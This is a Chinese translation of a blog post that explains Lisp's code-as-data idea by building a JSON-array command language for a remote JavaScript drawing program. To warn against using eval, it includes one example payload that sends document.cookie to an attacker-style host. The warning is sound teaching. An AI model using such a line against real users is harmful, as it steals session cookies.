为什么Lisp程序员总能碾压其他人?
每一个看到Lisp代码的人,都会觉得Lisp那无休无止的括号实在是太诡异了。
但是,Lisp的伟大之处恰恰就在哪些括号中!
为什么会这样?
今天,我将带领大家走向顿悟的旅程。
画图程序
假设我们要写一个画图的程序,可以在屏幕上画点东西。
用JavaScript来写的话,可能就会有这些函数:
drawPoint({x: 0, y: 1}, 'yellow')
drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue')
drawCircle(point, radius, 'red')
rotate(shape, 90)
...
非常简单和清晰,对吧?
挑战
现在来一点挑战:能不能支持远程画图呢?
远程画图是说一个用户可以发送指令到你的电脑上,你的电脑执行指令,显示画图结果。
我们该怎么做呢?
可以使用websocket,从远程用户那里接收指令。
websocket.onMessage(data => {
/* TODO */
})
Eval
接收到指令以后还需要执行,一种方法是使用JavaScript的eval:
websocket.onMessage(data => {
eval(data)
})
这样用户可以发一个类似这样的指令:"drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'red')"
我们的计算机就可以把这条线给画出来了。
但是,等等,eval太“邪恶”了,它啥都能执行,如果某个恶意用户发了这样的东西:
window.location='http://iwillp3wn.com?user_info=' + document.cookie
eval去执行的时候,就会把本机的cookie发给了iwillp3wn.com。
eval是个危险分子,不能用它。
初始的想法
其实我们可以把远程发过来的指令定义成JSON的格式,然后对它进行解析,映射到我们的写好的drawLine,drawPoint等函数上。
像这样:
{
instructions: [
{
functionName: "drawLine",
args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, "blue"]
},
];
}
当我们收到远程用户发来这样指令的时候,我们一解析就知道:
他想调用一个叫做drawLine的函数,传递了3个参数:{ x: 0, y: 0 }, { x: 1, y: 1 },"blue"。
我们的解析代码是这样的:
webSocket.onMessage(instruction => {
const fns = {
drawLine: drawLine,
...
};
function drawLine(start,end,color){
...
}
data.instructions.forEach((ins) => fns[ins.functionName](...ins.args));
})
码农翻身注:不得不说,JavaScript表达力还是很强的,一行代码就把数据解析和函数调用做完了。不熟悉JavaScript的同学也许看不明白,没关系,它就是一个对JSON的解析和调用对应函数的过程,意识到这一点就可以了。
简化一下
稍微停下前进的脚步,看看能不能把JSON指令给简化一下。
{
instructions: [
{
functionName: "drawLine",
args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, "blue"]
},
{
functionName: "drawPoint",
args: [{ x: 10, y: 10 }, "red"]
}
];
}
每个指令都有functionName,都有args,完全可以把它们干掉,让JSON变得更紧凑:
{
instructions: [
["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }, "blue"],
["drawPoint", { x: 10, y: 10 }, "red"]
]
}
可以看出,我们把每条指令都变成了一个简单的数组!
这个数组的第一个元素表示函数名称,剩下的元素是这个函数需要的参数。
当然,解析的代码也需要微微调整一下。
websocket.onMessage(data => {
const fns = {
drawLine: drawLine,
...
};
data.instructions.forEach(([fName, ...args]) => fns[fName](...args));
})
暂停一下,再次看看我们的JSON:
{
instructions:
[
["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 },"blue"]
]
}
我们所有的数据都是指令,为什么要有一个叫做instructions的关键字?并且它还处于最顶层。
改成这样如何:
[ "do",
["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 },"blue"]
]
引入一个新的指令,叫做 do , 表示要运行后面的所有指令。
解析JSON的代码又得改一下了:
websocket.onMessage(data => {
const fns = {
...
do: (...args) => args[args.length - 1],
};
const parseInstruction = (ins) => {
if (!Array.isArray(ins)) {
// this must be a primitive argument, like {x: 0, y: 0}
return ins;
}
const [fName, ...args] = ins;
return fns[fName](...args.map(parseInstruction));
};
parseInstruction(data);
})
现在,我们可以支持这样的指令了:
[
"do",
["drawPoint", { x: 0, y: 0 },"red" ],
["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 },"blue"]
]
是不是漂亮多了?
自定义变量
在JavaScript当中,我们是支持定义变量的:
const shape = drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'red')
rotate(shape, 90)
在JSON格式的数据指令中,能不能也这样定义变量:
["def","shape",["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]]
["rotate","shape",90]
注意,这里引入一个新的关键词def,这个def并不在最初的那些画图的函数列表中。
再次修改解析代码,越来越复杂了,看不明白的同学可以略过,只要记住在JS中能实现就好:
websocket.onMessage(data => {
const variables = {};
const fns = {
...
def: (name, v) => {
variables[name] = v;
},
};
const parseInstruction = (ins) => {
if (variables[ins]) {
// this must be some kind of variable, like "shape"
return variables[ins];
}
if (!Array.isArray(ins)) {
// this must be a primitive argument, like {x: 0, y: 0}
return ins;
}
const [fName, ...args] = ins;
return fns[fName](...args.map(parseInstruction));
};
parseInstruction(data);
})
自定义函数
在JavaScript中,我们可以自定义一个叫做画三角形的函数:
const drawTriangle = function(left, top, right, color) {
drawLine(left, top, color);
drawLine(top, right, color);
drawLine(left, right, color);
}
drawTriangle(...)
这样,就对原始的函数做了扩展。
在JSON指令中,该怎么去实现它呢?
可以模仿JS的格式:
["def", "drawTriangle",
["fn", ["left", "top", "right", "color"],
["do",
["drawLine", "left", "top", "color"],
["drawLine", "top", "right", "color"],
["drawLine", "left", "right", "color"],
],
],
],
["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"]
对于这个格式的实现确实是有点儿复杂,我实在不想在这里贴大段大段的代码了。
总之,你记住可以实现就是了。
感兴趣的同学可以去看看源码:
https://jsfiddle.net/xn3tkdhL/2/
https://jsfiddle.net/xn3tkdhL/3/
演示时刻
是时候演示一下画图程序了。
这是程序画出的三角形
这是一个快乐的人
惊喜时刻
我们折腾了半天,其实是用JavaScript实现了一个小小的编程语言。
这个语言使用JSON描述语法的,允许远程用户定义变量和函数。
由于这个语言的元素是JSON数组,我们暂时称它为数组语言。
数组语言支持定义变量,定义函数,并且如果你深入思考的话,就会发现它甚至有比JavaScript还厉害的地方。
在JavaScript中,你可以用这种方式来定义变量:
const x = foo
但是你不能把const写成constant,因为这不符合JavaScript的语法。
但是在我们的数组语言中,根本没有语法,一切都是数组。我们可以轻松地写一个constant指令,就像def那样。
在JavaScript中,我们程序员都是“客人”, 需要语言设计者的规矩来行事。
在数组语言中,我们是合作者,这里有内置的、语言设计者写的def ,fn ,也有合作者定义的drawTriangle,它们都处于同等的地位。
代码就是数据
如果我们的代码就是一堆数组,我们就可以操作这些JSON数组,编写生成代码的代码!
例如我们想在JavaScript中支持unless
每当有人写这样代码的时候
unless foo {
...
}
我们把它转化成:
if !foo {
...
}
这在JS中很难做到,我们需要Babel这样的东西来解析我们的源代码,形成抽象语法树,然后AST层面来重写代码。
在我们的数组语言中,我们的代码只是JSON数组,我们可以操作这些数据,实现unless:
function rewriteUnless(unlessCode) {
const [_unlessInstructionName, testCondition, consequent] = unlessCode;
return ["if", ["not", testCondition], consequent]
}
rewriteUnless(["unless", ["=", 1, 1], ["drawLine"]])
// =>
["if", ["not", ["=", 1, 1]], ["drawLine"]];
非常轻松,关键是我们可以把代码当做数据来折腾!
我们到底做了什么事情?
实际上,我们碰巧发明的这种数组语言是一种糟糕的Lisp方言!
再看一下最复杂的例子吧:
[
"do",
[
"def",
"drawTriangle",
[
"fn",
["left", "top", "right", "color"],
[
"do",
["drawLine", "left", "top", "color"],
["drawLine", "top", "right", "color"],
["drawLine", "left", "right", "color"],
],
],
],
["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],
["drawTriangle", { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, "purple"],
])
在Lisp的方言 Clojure 中是这个样子的:
(do
(def draw-triangle (fn [left top right color]
(draw-line left top color)
(draw-line top right color)
(draw-line left right color)))
(draw-triangle {:x 0 :y 0} {:x 3 :y 3} {:x 6 :y 0} "blue")
(draw-triangle {:x 6 :y 6} {:x 10 :y 10} {:x 6 :y 16} "purple"))
主要的不同在于:
1.()现在表示List
2. 删除了所有的逗号
3. 原来的“驼峰表示法”变成了“烤肉串表示法”
4. 不在使用字符串,而是用了一个新类型:符号(symbol)
5. 其余的规则都是相同的。
结论
如果我们想用操作数据一样来操作代码, 答案就是:把代码变成数据。
如果代码必须是数据,用什么格式来表示它?
XML可以!
JSON也可以!
你自定义的其他格式也可以!
但是,如果我们努力去寻找最简单的数据结构,我们会达到最终的目的地:列表(List)。
实际上,我们的JSON数组语言是由JavaScript实现的,两者是融为一体的,想对JSON数组语言增加语法,必须要写对应的JavaScript代码。
但是对Lisp来说,它的代码本身就是数据,此外Lisp还支持宏(macro),宏可以直接把列表当做数据来操作,从而生成新代码,不需要其他语言的介入。
这是个强大得让人恐怖的功能。
你可以想象,你可以和语言设计者站在同一个层次去增强一门语言,把那个语言变成一个属于你所在业务领域的语言,然后用新语言去编程,那编程速度得有多快!
但是,Lisp宏要求在一个更高的层面进行编程,把代码当做数据折腾来折腾去,感觉就是一个人肉编译器了,没有多少程序员能够做得很好。
现在你应该明白,为什么那些Lisp大牛有多厉害了吧!
原文链接:https://stopa.io/post/265 翻译有删减